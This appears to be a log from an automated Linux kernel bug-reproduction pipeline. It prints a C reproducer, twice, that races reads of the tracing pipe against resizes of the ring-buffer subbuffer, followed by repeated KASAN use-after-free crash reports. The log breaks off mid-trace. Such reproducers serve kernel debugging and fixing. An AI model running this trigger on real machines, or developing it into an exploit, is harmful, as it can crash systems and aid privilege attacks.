| 157/3 |
2026/08/12 02:41 |
loop |
|
0m
|
| 158/4 |
2026/08/12 02:41 |
iteration |
0 |
0m
|
| 159/5 |
2026/08/12 02:41 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
]
|
| 160/5 |
2026/08/12 02:41 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
]
|
| 161/5 |
2026/08/12 02:41 |
action |
If |
0m
Args:
|
| 162/3 |
2026/08/12 02:41 |
action |
run-c-repro |
3m
Results: map[CandidateBugTitle:KASAN: use-after-free Read in print_trace_line CandidateCrashReport:==================================================================
BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
Read of size 1 at addr ffff888119b6ec26 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
